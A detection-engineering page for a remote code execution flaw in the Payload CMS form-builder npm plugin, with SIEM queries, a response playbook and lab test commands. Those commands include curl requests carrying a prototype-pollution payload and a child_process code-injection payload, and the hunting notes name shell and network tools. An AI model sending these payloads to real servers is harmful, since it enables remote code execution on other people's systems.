Payload CMS Form Builder Plugin Remote Code Execution (CVE-2026-105857)
Detects exploitation of CVE-2026-105857, a CVSS 10.0 remote code execution vulnerability in the @payloadcms/plugin-form-builder npm package (CWE-94 Code Injection / CWE-1321 Prototype Pollution). Affected versions are < 3.90.0 and the 4.0.0 canary line >= 4.0.0-canary.0 and < 4.0.0-canary.34. The form-builder plugin evaluates attacker-influenced input when processing dynamic form submissions and conditional/calculated field logic, allowing an unauthenticated attacker to inject and execute arbitrary code or pollute the Object prototype to achieve RCE on the Node.js server hosting the Payload CMS application. A public PoC is available via GHSA-r488-j9vj-wx3q. These detections surface the HTTP exploitation attempts against form submission endpoints, prototype-pollution payload markers (__proto__, constructor, prototype), and post-exploitation child-process / reverse-shell behavior spawned from the Node.js process.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- npm
- Product
- @payloadcms/plugin-form-builder
- Versions
- < 3.90.0, >= 4.0.0-canary.0, < 4.0.0-canary.34
Timeline
- Disclosed
- October 7, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-r488-j9vj-wx3q
- https://github.com/payloadcms/payload/security/advisories/GHSA-r488-j9vj-wx3q
- https://nvd.nist.gov/vuln/detail/CVE-2026-105857
- https://github.com/payloadcms/payload/commit/333b82b9f3e685fed6826c2e3270da79df8336c6
- https://github.com/payloadcms/payload/releases/tag/v3.90.0
CVSS
What is CVE-2026-105857 Payload CMS Form Builder Plugin Remote Code Execution (CVE-2026-105857)?
Payload CMS Form Builder Plugin Remote Code Execution (CVE-2026-105857) (CVE-2026-105857) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Payload CMS Form Builder Plugin Remote Code Execution (CVE-2026-105857), covering the data sources and telemetry it touches: IIS Logs, Azure App Service HTTP Logs, Web Proxy. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
let formEndpoints = dynamic(["/api/form-submissions", "/api/forms", "/form-submissions"]);
let ppMarkers = dynamic(["__proto__", "constructor", "prototype", "\\u005f\\u005fproto\\u005f\\u005f"]);
union isfuzzy=true W3CIISLog, AzureDiagnostics, AppServiceHTTPLogs
| extend reqUri = tolower(coalesce(column_ifexists("csUriStem", ""), column_ifexists("requestUri_s", ""), column_ifexists("CsUriStem", "")))
| extend reqQuery = tolower(coalesce(column_ifexists("csUriQuery", ""), column_ifexists("requestQuery_s", ""), ""))
| extend httpMethod = coalesce(column_ifexists("csMethod", ""), column_ifexists("httpMethod_s", ""))
| extend srcIp = coalesce(column_ifexists("cIP", ""), column_ifexists("clientIp_s", ""))
| where httpMethod in~ ("POST", "PUT", "PATCH")
| where reqUri has_any (formEndpoints)
| where reqUri has_any (ppMarkers) or reqQuery has_any (ppMarkers)
| project TimeGenerated, srcIp, httpMethod, reqUri, reqQuery
| summarize hitCount = count(), methods = make_set(httpMethod), sampleUri = any(reqUri) by srcIp, bin(TimeGenerated, 1h)
| where hitCount >= 1 Identifies POST/PUT/PATCH requests to Payload CMS form-builder submission endpoints that carry prototype-pollution or code-injection marker tokens (__proto__, constructor, prototype), consistent with CVE-2026-105857 exploitation attempts.
Data Sources
Required Tables
False Positives
- Legitimate form submissions where a user-supplied free-text field happens to contain the literal string 'constructor' or 'prototype' (e.g. JavaScript tutorials, bug reports).
- Security scanners and authorized penetration tests exercising prototype-pollution payloads against the application.
- Application monitoring or synthetic transaction tooling that replays form submissions with templated field names.
Sigma rule & cross-platform mapping
The detection logic for Payload CMS Form Builder Plugin Remote Code Execution (CVE-2026-105857) (CVE-2026-105857) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-105857
References (5)
- https://github.com/payloadcms/payload/security/advisories/GHSA-r488-j9vj-wx3q
- https://nvd.nist.gov/vuln/detail/CVE-2026-105857
- https://github.com/payloadcms/payload/commit/333b82b9f3e685fed6826c2e3270da79df8336c6
- https://github.com/payloadcms/payload/releases/tag/v3.90.0
- https://github.com/advisories/GHSA-r488-j9vj-wx3q
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Prototype-pollution payload to Payload form-submission endpoint
Expected signal: Web/proxy access log entry: POST /api/form-submissions with request body containing __proto__.
- Test 2Code-injection expression in form conditional logic
Expected signal: Web access log entry: POST /api/forms with body containing constructor.constructor and child_process markers.
- Test 3Simulated post-exploitation shell spawned by Node.js
Expected signal: Process-creation event: parent process 'node' spawning '/bin/sh' executing 'id'.
Response Playbook
Triage
- Confirm whether the targeted host runs a Payload CMS application using @payloadcms/plugin-form-builder and check the installed version against the affected ranges (< 3.90.0, or >= 4.0.0-canary.0 and < 4.0.0-canary.34) via `npm ls @payloadcms/plugin-form-builder` or the lockfile.
- Pull the full request body for the flagged form-submission request(s) and inspect for prototype-pollution keys (__proto__, constructor.prototype) or injected code expressions in field definitions / conditional logic.
- Correlate the source IP against authentication logs and WAF/proxy logs to determine whether the request was unauthenticated and whether it belongs to a known scanner or a novel actor.
- Review the Node.js process tree on the host for any child processes (sh, bash, python, curl, nc) spawned within minutes of the suspicious request.
Containment
- Block the offending source IP(s) at the WAF/edge and rate-limit or temporarily disable the public form-submission endpoints until patched.
- Upgrade @payloadcms/plugin-form-builder to >= 3.90.0 (or the 4.0.0 line to >= 4.0.0-canary.34) and redeploy; restart the Node.js service to clear any polluted in-memory prototype state.
- If post-exploitation child processes are confirmed, isolate the host from the network and preserve it for forensics.
Evidence Collection
- Capture the raw HTTP request(s) (headers + body) to the form endpoints, the web/proxy access logs, and the application logs covering the exploitation window.
- Collect the Node.js process memory/metadata, the process-creation telemetry (EDR), and any files written to the webroot, /tmp or the application working directory after the request.
- Preserve the installed package tree and lockfile to document the vulnerable version in place at time of compromise.
Escalation Criteria
- ! Escalate to incident response immediately if a child process (shell, interpreter, or network tool) was spawned by the node process following the request, indicating confirmed RCE.
- ! Escalate if outbound connections, new persistence, credential access, or lateral movement are observed from the host after the suspicious request.
- ! Escalate if the vulnerable version is confirmed and the endpoint is internet-exposed, regardless of whether code execution is yet proven.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs showing POST/PUT/PATCH requests to /api/forms or /form-submissions with __proto__/constructor/prototype tokens. - >
Node.js application logs and process-creation (EDR) records showing child shell/interpreter processes. - >
Files newly written to the application working directory, webroot, or /tmp after the request; the installed package lockfile documenting the vulnerable version.
Tuning Guidance
Baseline the legitimate field names and payload shapes of your form submissions first; many false positives come from free-text fields that legitimately contain the words 'constructor' or 'prototype'. Tighten the marker match to JSON key positions (e.g. '"__proto__":' or 'constructor":{"prototype"') rather than substring presence, and scope the detection to the specific host(s) running the Payload CMS application. Pair the HTTP-layer detection with the EDR child-process detection to raise confidence to high only when both fire within a short window.
Hunting Queries
Hunt across historical web logs for prototype-pollution / code-injection payloads sent to Payload CMS form-builder endpoints.
W3CIISLog | where csMethod in~ ("POST","PUT","PATCH") | where tolower(csUriStem) has_any ("form-submissions","/api/forms") | where tolower(csUriQuery) has_any ("__proto__","constructor","prototype") | project TimeGenerated, cIP, csUriStem, csUriQuery index=web (uri_path="*/form-submissions*" OR uri_path="*/api/forms*") (method=POST OR method=PUT OR method=PATCH) | search _raw="*__proto__*" OR _raw="*constructor*" OR _raw="*prototype*" | table _time src_ip uri_path method Atomic Red Team Tests
Sends a crafted JSON form submission containing a __proto__ prototype-pollution key to the form-builder submission endpoint in a lab instance to generate HTTP-layer detection telemetry.
Command
curl -s -X POST http://127.0.0.1:3000/api/form-submissions -H 'Content-Type: application/json' -d '{"form":"contact","submissionData":[{"field":"name","value":"x"}],"__proto__":{"polluted":"cve-2026-105857"}}' Cleanup
echo 'No cleanup required; restart the Node.js service to clear in-memory prototype state: pm2 restart payload || true' Expected Telemetry
Web/proxy access log entry: POST /api/form-submissions with request body containing __proto__.
Expected Detection
The kql/spl/qradar_aql/sumo_logic/chronicle_yaral HTTP detections fire on the __proto__ marker in the form-submission request.
Submits a form payload with a code-expression injected into a calculated/conditional field to simulate the CWE-94 code-injection path of CVE-2026-105857.
Command
curl -s -X POST http://127.0.0.1:3000/api/forms -H 'Content-Type: application/json' -d '{"title":"t","fields":[{"blockType":"text","name":"a","defaultValue":"{{constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"id\")}}"}]}' Cleanup
echo 'Remove any test form created: use the admin UI or DB to delete the form titled t' Expected Telemetry
Web access log entry: POST /api/forms with body containing constructor.constructor and child_process markers.
Expected Detection
HTTP detections fire on constructor/prototype markers; if execution occurs, EDR detections fire on the node-spawned child process.
Spawns a child shell from a node parent process to emulate successful RCE post-exploitation and exercise the Elastic EQL and CrowdStrike CQL process-based detections.
Command
node -e "require('child_process').execSync('/bin/sh -c id', {stdio:'inherit'})" Cleanup
echo 'No persistent artifacts created by this test.' Expected Telemetry
Process-creation event: parent process 'node' spawning '/bin/sh' executing 'id'.
Expected Detection
The elastic_eql and crowdstrike_cql detections fire on the node-parented shell child process.